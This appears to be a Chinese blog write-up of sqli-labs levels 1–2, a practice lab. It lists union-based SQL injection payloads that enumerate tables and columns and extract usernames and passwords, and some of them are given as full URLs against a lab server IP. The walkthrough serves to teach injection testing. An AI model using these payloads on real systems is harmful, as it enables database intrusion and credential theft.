sqli-labs第1-2关

第一关

字符型注入,加单引号报错,需要闭合来注入
直接上语句:

?id=-1’ union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+

concat_ws 可以无限查询,中间可以插入很多要查的东西,第一个是占位符,可以用~代替也行

id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

0x7365637572697479这是hex加密的数据库名,不加密也行

group_concat() 多查询,把返回的很多数据全显示,返回所有表

-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

加密的表名

’ union select 1,2,concat_ws(char(32,58,32),username,password) from users --+

查出数据,用group_concat()也行
-1’ union select 1,2,group_concat(id,username,password) from users–+

第二关

数字型,不用加单引号闭合了,感觉比第一关还简单
语句:

http://121.196.164.91:7001/Less-2/?id=111%20union%20select%201,2,concat_ws(%27~~%27,database(),user(),version())
查当然数据库,用户,数据库版本

111 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’
查当前数据库的表

http://121.196.164.91:7001/Less-2/?id=111%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27
查询当前表的字段

http://121.196.164.91:7001/Less-2/?id=111%20union%20select%201,2,concat_ws(%27~~%27,username,password)%20from%20users
查字段里的内容

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值